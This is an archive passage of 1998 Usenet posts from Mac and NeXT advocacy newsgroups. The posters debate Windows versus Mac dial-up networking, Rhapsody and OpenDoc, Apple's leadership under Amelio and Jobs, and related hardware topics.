3)Get Config
4) Select Config
5) Go to OTT/PPP or FreePP and choose config
6) Get Config
7) Select Config
8) Dial
or use a control strip tcp/changer
which will give you
1) control strip
2) select tcp/icp
3) Go to OTT/PPP or FreePP and choose config3)
4) Get Config
5) Select Config
6) Dial
On NT, 1)dial--up icon, 2)drag down scroll to select your account/isp and
3)dial
-
porschemeister
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 27 Apr 1998 18:24:52 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6i2ihk$3bb@newsb.netnews.att.com>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <3544a6b7.0@news.together.net> <MPG.fae6da055ab2b68989713@news.itg.ti.com>
Originator: gupta@tlctest
Jason McNorton <jmcn@msg.ti.com> wrote:
>When a Mac has to reboot to load configurations it's "viola!". Even
>though Macs take longer to reboot, it's seen as trivial. Everytime a
>Windows computer has to do it, it's a long drawn out and painful process
>that shows how inferior Windows is. Such silly bias..
Each time my Windows 95 machine at work reboots there is a high probability
of something going wrong. Usually, it is something "trivial", like
the Windows screen-saver no longer works. Sometimes, Windows 95
detects a "new PnP network card". The other day, it detected an
"ESS 1868" sound-card, that has been on the system (it is a Compaq DeskPro)
since its birth. And so on. I wouldn't say Windows is inferior,
it is just more exciting, because you don't know what kind of machine
you will have after the reboot :-).
Now, my Macintosh at home - its reboots are boring. The only problems
I've had have been when I've overoptimistically lengthened its external
SCSI chain.
Oh, and time it takes to reboot -- my 4-year old Macintosh boots about
as fast as my 2-years old Windows 95 Compaq PC.
-arun
From: slick@tools.ecn.purdue.edu (Brian S Slick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 18:29:37 GMT
Organization: Purdue University, W. Lafayette, IN
Message-ID: <6i2iqh$sqa@mozo.cc.purdue.edu>
References: <3543eebe.0@news.camtech.net.au> <B1697D67-1951D@206.165.43.144>
In article <B1697D67-1951D@206.165.43.144>,
Lawson English <english@primenet.com> wrote:
>Timothy Priest <timothyp@tne.net.au> said:
>
>> >BTW, who first hired Tevanian and Rubenstein? Steve Jobs---at NeXT,
>> Inc.
>>
>> Yeh, I think we all know that. It is not the point I was making. I never
>> questions Steve's intelligence or his people savvy. See the point above.
>
>
>
>Interestingly enough, one of the latest interviews with Amelio has him
>claiming that he and Tavie went to lunch a month or two after the NeXT
>purchase and Tavie gushed about how much nicer it was to have him (Amelio)
>as boss instead of change-the-direction-of-the-company-every-minute Steve.
So we have Amelio claiming that someone else said that Amelio was better?
Gee.
--
-Brian Slick
slick@ecn.purdue.edu
Winner: 1998 SDRC Calendar Contest
http://www.sdrc.com/partners/university/contest/1998/
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Message-ID: <edewEs351v.Ms2@netcom.com>
Sender: edew@netcom9.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <rmcassid-2404981032190001@dante.eng.uci.edu> <6hqtba$eed$3@ha2.rdc1.sdca.home.com> <6hr2p6$37i$1@pith.uoregon.edu>
Date: Mon, 27 Apr 1998 18:37:06 GMT
In article <6hr2p6$37i$1@pith.uoregon.edu> Wesley Horner <wesman@azrael.uoregon.edu> writes:
>Rex Riley <rriley@yahoo.com> wrote:
>
>> You make the best case for an early deal. I have AAPL forecasted on my
>> crystal ball at $70 in 1999. Long term, given an economy with leggs, AAPL
>> could reach a high of 117 - 130 with mass market products pipelined. Now
>> add-in Sony capacity, distribution, sales and branding and you have the
>> applicance for the rest of us.
>
>> Tempting...? Hah! (ala '84) Chiat-Day can put together a "Resurection" for
>> SuperBowl 33 with Jesus giving back the "Forbidden Fruit" YEEee aaAAH !
>> SONY RULES... Ooops, excuse me God :-)
>
>Can I get some of what ever you have got :)
>
>It sounds great but I fear that the self fullfilling prophecy of nt crushing
>everything for no good reason could hurt the stock price climb. Apple should
>liscence it's name and logo to sony and let sony manufacture and brand products
>with it and do the marketing and sales as well. Apple could make a tidy profit
>for doing nothing other than supplying one of the best namplates in history and
>sony could profit by selling more consumer electronics. It could work like the
>way gm sells the same car under a number of different brands.
>
>wes
Emulating GM is the stupidest thing any company can do. NT and its master,
Microsoft will soon make a big misstep (if not already). MS, in five years,
will be an internet-only company, if other software competitors (e.g., Apple)
know how to take advantave of the situation. BTW, just how well is SONY's
visio or whatever doing in the computer business?
EDEW
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: automatic opening
Message-ID: <edewEs35tC.24q@netcom.com>
Sender: edew@netcom9.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6i0o2p$c26$2@newsfep3.sprintmail.com>
Date: Mon, 27 Apr 1998 18:53:36 GMT
In article <6i0o2p$c26$2@newsfep3.sprintmail.com> macghod@concentric.net writes:
>
>I would think OPENSTEP would automatically open files in the correct app, if
>I had the correct app. FOr instance, I have omnipdf, and when I double click
>on pdf files it opens it up in edit.
>
>--
>running on a PC with OPENSTEP, the year 2000 bug-free operating system
>NeXTMail and MIME OK!
>
Go into Tools in the menu for FileViewer (should be cmd-3). Set the choice
for correct app. It may be that the last time you opened a pdf file, you
didn't have omnipdf, and it set the choice as edit (usually a default choice
for anything that doesn't have a recognized suffix).
EDEW
From: pscccsm@prism.gatech.edu (STAN MULAIK)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Amelio interview
Date: 27 Apr 1998 14:54:28 -0400
Organization: Georgia Institute of Technology
Message-ID: <6i2k94$bhg@acmey.gatech.edu>
References: <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25> <35418388.0@news.camtech.net.au> <6hsv9q$2e7$1@nnrp1.dejanews.com>
ios70@hotmail.com writes:
>I got this from another newsgroup.
>Rose Aguilar meets former CEO - CNET Radio's interview with Gil Amelio
>http://www.news.com/Radio/Features/0,155,193,0.html?st.ne.fd.gif.l
>Interesting....
Yes, very interesting. Gil Amelio sounds differently than I imagined him.
He's a very articulate, straightforward guy. I think he was indeed on
the way to making Apple come out on top. (I've read his book, On the
Firing Line. Got me an autographed copy at the GA Tech bookstore). What
fascinates me is the insights you get into the problems of Apple Inc.
from reading his book.
But I had the impression reading the book that Gil Amelio was too willing
to give the other guy the benefit of the doubt. He really seems to expect
that the other guy will deal with him in the same straightforward way he
deals with them. I think he realizes now that he should have fired some
of the top middle managers when he came in, but he thought he could
reeducate them. But there wasn't much time for that.
The most amazing thing is the way he trusted Steve Jobs, treated him like
a son. I think he was not unaware that others did not trust Jobs. But
he spent (according to this interview) numerous hours discussing plans and
strategy with Steve. I hope Steve learned something from this and is able
to implement it (but I have my doubts).
But the other amazing thing is that Gil Amelio is not bitter after this.
I think his sense of self-esteem has already been so firmly established
by his earlier accomplishments, that he can walk away from this, shaking
his head, but feel he was the honorable man and did the right thing for
Apple, even though others didn't realize it at the time.
The other thing I get after reading his book and hearing this interview
is the fact that the success that Apple had after Jobs took over was
primarily because all of the plans and decisions that Amelio had made
and put in place. All of the successful products that have given a new
life to Apple since then were Amelio's. There is not yet a product that
Jobs can point to that is chiefly his. But Amelio points out that
that just was for the interrim. He argues that Apple has got to succeed
with Rhapsody or it's dead as a major player. That would have made its
system independent of hardware. Hardware wise Apple has got to get a
100 mhz bus. He pushed constantly for that.
Right now, I'm not so sure Apple is going to be successful in the future.
We know what happened to NEXT. Will we see a repeat of that? Apple
has got to be more than an innovator. It has to be a well-managed firm
that get's things out the door on time and in a way that competes with
other products in the market.
--
Stanley A. Mulaik
School of Psychology, Georgia Institute of Technology, Atlanta, GA 30332
uucp: ...!{decvax,hplabs,ncar,purdue,rutgers}!gatech!prism!pscccsm
Internet: pscccsm@prism.gatech.edu
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <3544a6b7.0@news.together.net> <MPG.fae6da055ab2b68989713@news.itg.ti.com>
Subject: Re: first post
Date: Mon, 27 Apr 1998 14:57:12 -0400
Message-ID: <3544cf70.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Jason McNorton wrote in message ...
>In article Lance Togar, ltogar@msn.com says...
>> G_o_M_a_c <"ndk"@ eat-no-spaaam nbnet.nb.ca> > wrote in message
>> >Fill in username,
>> >password, chack save password if you like.
>> >At this point, I reboot and voila! It never fails.
>> ..
>> Sure. After you stunning display of ignorance concerning WIN95
networking,
>> we're all to believe you're better on the Mac. Count me unconvinced.
>
>
>When a Mac has to reboot to load configurations it's "viola!". Even
>though Macs take longer to reboot, it's seen as trivial. Everytime a
>Windows computer has to do it, it's a long drawn out and painful process
>that shows how inferior Windows is. Such silly bias..
>
>--
..
It's nothing like the senseless dribble about getting a WIN95/98/NT network
connection.
..
..
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: IMPEACH JOBS
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <rmcassid-2704980944080001@dante.eng.uci.edu>
Message-ID: <3544d63e.0@news.depaul.edu>
Date: 27 Apr 98 19:02:22 GMT
In comp.sys.next.advocacy rmcassid@uci.edu wrote:
> In article <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net>,
> hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond) wrote:
> >Some Intel subsidised company now owns the chips to the Newton.
> Actually, Intel manufactures the chips, but Apple and Acorn still own most
> of the company that holds the design on the chips.
The chip in question is the StrongARM variant of the ARM processor.
The StrongARM part was developed and owned by DEC, based on ARM
technology. Intel owns the StrongARM design, but only has a
license to the underlying ARM technology. Presumably, ARM gets
a cut of the price of every StrongARM chip.
I would guess that the StrongARM design was created using some
Alpha technology, but I don't know for sure. Anyone know? If
true, hopefully AMD can do the same for the K6 design. If they
can, they might come up with a fast Intel-compatible CPU that
Apple could use without caving to Intel itself.
> Apple stands to make several hundred million dollars off of their ARM
> investment, which is more than they can say for the Newton.
ARM recently went public, so Apple should have already made a decent
profit. I don't know how much of their stake they sold, if any.
- Jon
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 19:39:12 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6i2mt0$jv2$1@new-news.cc.brandeis.edu>
References: <joe.ragosta-2504982243370001@elk39.dol.net> <B1682DE8-4BEBC@206.165.43.167> <joe.ragosta-2604980736310001@elk52.dol.net>
In article <joe.ragosta-2604980736310001@elk52.dol.net> joe.ragosta@dol.net (Joe Ragosta) writes:
>In article <B1682DE8-4BEBC@206.165.43.167>, "Lawson English"
><english@primenet.com> wrote:
>
>> Joe Ragosta <joe.ragosta@dol.net> said:
>>
>> > And your point is?
>> >
>> > If Lotus, Novell, and IBm are going to drop the ball they way they did on
>> > OpenDoc, who needs them?
>> >
>>
>>
>>
>> Apple?
>
>Nope.
>
>Apple clearly needs partners who _do_ something. NOT partners who say
>they'll do something, then sit on their hands until they can quietly drop
>the project years later.
>
>Exactly how much good did IBM do for Apple on OpenDoc? They talked about
>it for years, played around with some beta code, but never finished it.
IBM is guilty of putting their priorities first, i.e. trying to use the
alliance to get the mac interface on top of OS/2 as a personality and when
IBM took forever as usual bringing OS/2 to a microkernel/PPC
implimentation then deciding they weren't going to play anymore.
>How much good did IBM do on CHRP? They even finished OS/2 for PPC, then
>didn't do anything with it.
And for their own selfish reasons, too. Since OS/2 for PPC was a
microkernel OS/2, IBM *had* promised a re-design of OS/2 for x86 based on
the same microkernel. Instead, not wanting to rock the sinking boat of
x86 OS/2 in 1996, they silently scuttled OS/2 PPC microkernel in the dock,
just as it was completed. (Microkernel OS/2 for x86 would have broken
much of the OS/2 apps out there, since the monolithic OS/2 is actually
tied into the x86 processor architecture very tightly.)
Bad planning + selfish intents = everyone loses
But IBM did do OpenDoc for OS/2 - its Novell who dropped the ball with
OpenDoc for Windows.
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 27 Apr 1998 19:52:50 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6i2nmi$k8i$1@new-news.cc.brandeis.edu>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net>
In article <35433ec7.0@news.together.net> "Lance Togar" <ltogar@msn.com> writes:
[SNIP]
>Well, WIN95 users don't need to choose the modem or baud rate and the OS
>is smart enough to know you'll be using PPP. Sounds a lot like Apple needs
>some serious catching up here but then it never was very good at standards
>based networking. And, gee, whatever happened to the Mac's infamous Plug &
>Play??? Real plug & play means the user doesn't need to worry about baud
>rates. WIN95 handles this so where's the Mac?? Behind.... again....
I have a few things to say:
a) 14 IRQs - some new machines are shipping with 0 free, and if you have a
conflict on any machine and need to manually set an IRQ, any future plug
and play devices can't be automatically allocated by Windows (why do you
need IRQ/DMA? Because ISA doesn't have the bandwidth to handle modern
cards like sound and ethernet unless the cards work around the
architecture limitations)
b) Cluttered interface - if a user actually wants to change a setting, or
add a network protocol/adapter/client, they are in for some fun.
Powerful interface, yes, sensical, far from it... I won't even get into
this.
d) Import/Export - out of luck (AFAIK)
c) Restart every time something in the Network control panel is changed -
makes you want to scream if you deubgging settings/network connection,
doesn't it?
e) Have to click the "OK" button in the Network control panel in order for
ANY changes you just made to any client, protocol, or interface to be
saved, if you click in the close button in the top of the Network control
panel it CLOSES WITHOUT SAVING, and doesn't ask you. A good tip off you
did this is if you notice you don't have to restart.
f) Can't have seperate name servers for multiple TCP/IP protocols - Yes
want to use your notebook at work with those name servers and use your
ISPs nameservers for dialup? You'd THINK those name servers in each
device's bound TCP/IP settings are seperate, but NO, there is only one set
saved for all. Nice, isn't it?
For a good example of how all the above ought to work, use OpenTransport
in the MacOS.
--
Nathan Raymond
http://www.everythingmac.com
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
Date: Mon, 27 Apr 1998 13:47:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Message-ID: <joe.ragosta-2704981347130001@wil126.dol.net>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <casper-2704980603550001@wheat-d-08.monroeville.nb.net> <joe.ragosta-2704981322130001@wil137.dol.net>
In article <casper-2704980603550001@wheat-d-08.monroeville.nb.net>,
casper@nb.net (Tim Scoff) wrote:
>
> In all honesty you shortened the Mac's operation by a few steps. It
> only takes me about twice as many steps on a NT box to set up dial up
> networking as it takes me on a Mac.
That sums it up pretty nicely--NT only takes twice as much work
as MacOS.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Apr 1998 13:47:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: cancel <joe.ragosta-2704981322130001@wil137.dol.net>
Message-ID: <joe.ragosta-2704981347080001@wil126.dol.net>
Control: cancel <joe.ragosta-2704981322130001@wil137.dol.net>
cancel <joe.ragosta-2704981322130001@wil137.dol.net>
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 27 Apr 1998 20:13:55 GMT
Message-ID: <6i2ou3$2n5$1@newsfep2.sprintmail.com>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net>
<6i0vid$ncp$1@garnet.nbnet.nb.ca> <3544a6b7.0@news.together.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ltogar@msn.com
In <3544a6b7.0@news.together.net> "Lance Togar" wrote:
> G_o_M_a_c <"ndk"@ eat-no-spaaam nbnet.nb.ca> > wrote in message
> <6i0vid$ncp$1@garnet.nbnet.nb.ca>...
> >Step 3
> >Click Dial-up adaptor, click properties. Click bindings, uncheck all but
> >TCP/IP., total 12 steps.
Then explain this... I used win 95 setup wizard to setup ppp. I dialed out,
it dialed, and then gave some error about not correctly using the dial up
whatever. I called isp tech support, tcp-ip was selected, BUT their were
other items in the same group, such as aol tcp-ip. The tech support guy said
to remove everything but tcp-ip, I did, and ppp worked fine
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
NeXTMail and MIME OK!
Date: Mon, 27 Apr 1998 13:27:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Message-ID: <joe.ragosta-2704981327100001@wil137.dol.net>
References: <B16985D5-39051@206.165.43.144>
In article <B16985D5-39051@206.165.43.144>, "Lawson English"
<english@primenet.com> wrote:
> Brad Hutchings <brad@hutchings-software.com> said:
>
> >
> > Most of us didn't give a damn about cross-platform issues. We were (and I
> > still am) happy to support a MacOS platform advantage.
>
>
>
> But Joe isn't interested in MacOS or MacOS customers. He's interested in
> the Apple OS-du-jour and theoretical customers.
Nice try. Completey unfounded, but nice try.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 16:01:34 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i2a4u$e54$9@ns3.vrx.net>
References: <joe.ragosta-2504982243370001@elk39.dol.net> <B1682DE8-4BEBC@206.165.43.167>
<joe.ragosta-2604980736310001@elk52.dol.net> <6i2mt0$jv2$1@new-news.cc.brandeis.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: xray@cs.brandeis.edu
In <6i2mt0$jv2$1@new-news.cc.brandeis.edu> Nathan G. Raymond claimed:
> >Exactly how much good did IBM do for Apple on OpenDoc? They talked about
> >it for years, played around with some beta code, but never finished it.
>
> IBM is guilty of putting their priorities first,
Well that's the problems with almost all alliances. This is why they will
never have much of an impact on MS, as they spend all their time trying to
bend the system to their own niche needs and in the end they all give up when
they find it no longer fills them. OpenDoc is hardly an uncommon example!
Where's TSAPI?
> i.e. trying to use the
> alliance to get the mac interface on top of OS/2 as a personality and when
> IBM took forever as usual bringing OS/2 to a microkernel/PPC
> implimentation then deciding they weren't going to play anymore.
This is somewhat revisionist I believe. Everyone that's talking about this
with me has suggested no one within IBM ever believed microkernel OS/2 would
ever ship excepting a few people on the team itself.
> Bad planning + selfish intents = everyone loses
But OpenDoc got tied up in that too though, consider all the SOM/CORBA etc.
BS that it became. Will anyone forget Lawson decrying it one day as nothing
more than attempt to beat up on MS, then the next as a standard that should
not be allowed to die?
Maury
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 20:50:31 GMT
Organization: Digital Fix Development
Message-ID: <6i2r2n$2kr$1@news.digifix.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167> <6i0usm$aj7$1@news.digifix.com> <6hvsrr$8mm$1@supernews.com>
In-Reply-To: <6hvsrr$8mm$1@supernews.com>
On 04/27/98, "Zico" wrote:
>x-no-archive: yes
>
>Scott Anguish wrote:
>
>>Lawson English wrote:
>
>
>>>Adobe even officially backed off from it. I'm still waiting for
>>someone to
>>>cite a URL where they have recently endorsed it.
>>>
>>
>> More Lawson Bullshit.
>>
>> Adobe never _officially_ backed off it.
>>
>> As far as the URL you asked for, look it up yourself.
>
>
>An Adobe spokeswoman said that Adobe backed off it.
>
A "spokewoman" would give their name. This was an un-named
spokes-person in an article that was flawed in many other respects.
>Scott, if you can't find the URL, please stop saying that
>there is one. The reason why people can't find one is
>likely because there isn't one.
I know there the URL is. It took me two seconds to look for
it and find it.
Lawson can look for it himself.
>
>Since I've been following the situation, nobody has ever
>produced a URL pointing to Adobe's Rhapsody support.
>Only a number of posters claiming that Adobe has
>announced Rhapsody support, but NEVER providing
>evidence. It's like they think if they say it enough times
>it will either become true, or at least everyone will
>start to believe it.
Aside from the fact that Adobe's CEO told Kris that they were
looking into Frame.
Aside from the fact that Adobe has sent people to be trained
on developing for Rhapsody..
But I don't think anyone here has claimed that Adobe has made
an official commitment.
The fact is, Adobe hasn't officially dismissed Rhapsody
development. Thats what is being countered.
>
>This isn't intended as a flame at you, Scott, but if
>you would just provide the evidence, you could shut
>everyone up on this topic in one fell swoop.
>
If you think my providing the URL to Lawson would shut him up,
you're sadly mistaken.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 14:01:02 -0700
Organization: Primenet (602)416-7000
Message-ID: <6i2rme$aue@nntp02.primenet.com>
References: <B16985D5-39051@206.165.43.144> <joe.ragosta-2704981327100001@wil137.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: > Brad Hutchings <brad@hutchings-software.com> said:
: > > Most of us didn't give a damn about cross-platform issues. We were (and I
: > > still am) happy to support a MacOS platform advantage.
"Most of us"?
Go to these two newsgroups and count the postings:
comp.soft-sys.middleware.opendoc
comp.lang.java.beans
Of course some might take higher market share as proof of inferior
technology...
: Regards,
: Joe Ragosta
John
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Mon, 27 Apr 1998 21:40:17 GMT
Organization: Videotron Communications Ltd.
Message-ID: <3544fa80.24264662@news.prosurfr.com>
References: <01bd6e3f$00eed8d0$04387880@test1> <3540ecbc.17801346@news.prosurfr.com> <gmgraves-2504981603110001@sf-usr1-55-183.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
>In article <3540ecbc.17801346@news.prosurfr.com>,
>jsavard@teneerf.edmonton.ab.ca (John Savard) wrote:
>> "Todd Heberlein" <todd@NetSQ.com> wrote:
>> >o DVD, while providing better audio and video than VHS, is still
>> >designed around PAL and NTSC output and does not support HDTV
>> >formats.
>> DVD does support the higher aspect ratio of HDTV and the format also
>> allows higher speed disks with higher resolutions.
>The STANDARD supports them, but no currently available players or
>discs can output an HDTV signal.
Which, (in the case of players) I suppose, is understandable, since
you can't go and buy an HDTV reciever yet either. The point, of
course, is that the Mac doesn't have the unique market opportunity
suggested here. But I should have been clearer.
Currently available disks don't have video on them at full HDTV
resolution; however, many current disks can be viewed in letterbox
mode, and these will look at least a little bit better on an HDTV set
- future players that output HDTV signals will do so from whatever
disk they are playing.
John Savard
From: John Hornkvist <sorry@no.more.spams>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: is allegro going to be optimized for the G3?
Date: Mon, 27 Apr 1998 20:41:37 GMT
Organization: Chalmers Tekniska Högskola
Sender: john@haddock.cd.chalmers.se (John Hprnkvist)
Message-ID: <Es3AtD.87I@haddock.cd.chalmers.se>
References: <6hv7e1$tq4$1@nnrp1.dejanews.com> <tim-2604980844350001@jump-k56flex-0032.jumpnet.com>
<6i282r$ctg@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
In <6i282r$ctg@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
wrote:
> Tim Olson <tim@jumpnet.com> wrote:
>
> >In article <6hv7e1$tq4$1@nnrp1.dejanews.com>, jmcvay@lynn.edu wrote:
> >
> >| i've seen the noticable difference between in the
> >| performance of virtual PC 2.0 in on G3 and non-G3
> >| powerPC chips. the G3-optimized virtualPC 2.0 screams
> >| on a G3.
> >
> >This is because the G3 was designed for this kind of code, not the other
> >way around. In my experience, scheduling code for a particular processor
> >rarely results in a measureable improvement, except for a few tight inner
> >loops.
>
> An interesting observation -- isn't Intel's Merced going to depend on smart
> compilers to schedule code for it, etc.
Yes. But generally it does pay to optimize for a specific processor family.
Optimizations for PPCs should be a bit different from optimizations for x86s,
for example.
Note that many of the optimizations made for Merced would probably be useful
for other processors too.
In compiler terms we are talking about two different optimizations here; one
is finding the optimal tiling (i.e. instruction selection), and instruction
ordering for a specific member of a processor family and the other is about
things such as finding independent calculations, eliminating unnecessary
instructions and such.
Merced needs a bit of the first and a whole lot of the second. The PPC750
needs a little less of the first, and a lot less of the second.
Regards.
John Hornkvist
Name: nhoj
Address: cd.chalmers.se
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody / Windows 98 Yellow Box compatible.
Date: Mon, 27 Apr 1998 15:14:36 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354492C8.71FD@earthlink.net>
References: <353E1487.C213A639@ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Rob Blessin wrote:
> Logically, if Microsoft used common sense and developed a Yellow box
> compliant port of the Office 98 suite of applications, they would cover
> a lot of different OS's and paltforms with one developer tool package
> and probably streamline a lot of there developing overhead.. IE Rhapsody
> PPC, Intel , Windows 95, NT , 98? and Solaris.
Rob, who said MS was logical? I think that they're Mac Office stuff is
a "one off" myself. They'd rather see people go out and buy MS Office +
Windows to run it. They don't want people with other OS's to run their
software. In fact, they don't want people with other OS'S PERIOD!
This is where Apple still has a chance. If they deliver products that
are so cool and so much BETTER than what MS has to offer and price it
right, they can make a comeback, if not with hardware, than software for
all boxes (PPC, Intel, Sun, DEC). Since people will now have the option
of running an Apple OS (Rhapsody) on other hardware (as well as Be and
Linux) there could finally be a shift in OS domination.
Let's hope so anyway. ;-)
Steve
From: Stanley
Newsgroups: comp.sys.next.advocacy
Date: Mon, 27 Apr 1998 17:25:23 PDT
Subject: My First Print
Organization: Email Platinum v.3.1b
Message-ID: <3544f790.0@news.mountain.net>
I would like to invite you to view "HANGIN IT UP", a limited addition print of an original oil painting.
You may visit this print at http://www.ovnet.com/~estanley/Working2.html
Date: Mon, 27 Apr 1998 21:24:48 -0400
From: casper@nb.net (Tim Scoff)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Message-ID: <casper-2704982124480001@wheat-b-33.monroeville.nb.net>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <3544a6b7.0@news.together.net> <MPG.fae6da055ab2b68989713@news.itg.ti.com>
In article <MPG.fae6da055ab2b68989713@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
>In article Lance Togar, ltogar@msn.com says...
>> G_o_M_a_c <"ndk"@ eat-no-spaaam nbnet.nb.ca> > wrote in message
>> >Fill in username,
>> >password, chack save password if you like.
>> >At this point, I reboot and voila! It never fails.
>> ..
>> Sure. After you stunning display of ignorance concerning WIN95 networking,
>> we're all to believe you're better on the Mac. Count me unconvinced.
>
>
>When a Mac has to reboot to load configurations it's "viola!". Even
>though Macs take longer to reboot, it's seen as trivial. Everytime a
>Windows computer has to do it, it's a long drawn out and painful process
>that shows how inferior Windows is. Such silly bias..
Under Open Transport I can change TCP/IP configurations on the fly
without rebooting from my LAN to my modem. The only application that I
have to quit and then re-launch is MT NewsWatcher. On my NT computer on
the other hand.....
--
Tim Scoff
casper@nb.net
<http://www.nb.net/~casper/>
Customer: "I'm running Windows '95."
Tech Support: "Yes."
Customer: "My computer isn't working now."
Tech Support: "Yes, you said that." (Pete Zimowski)
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 98 18:26:51 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B16A7E74-1063C@207.217.155.113>
References: <6i2rme$aue@nntp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
John Jensen felt compelled to quote me completely out of context to do his
bit of Java cheerleading for the day, which would be just fine if he'd at
least say "I'm quoting XXX solely out of context to do my Java
cheerleading":
>"Most of us"?
>
The complete context, FYI, was "most of us" who shipped OpenDoc products
for MacOS. Okay? I don't deny that Java is more popular. So are
Republicrats, but that doesn't make them right or even good.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Lawson English" <english@primenet.com>
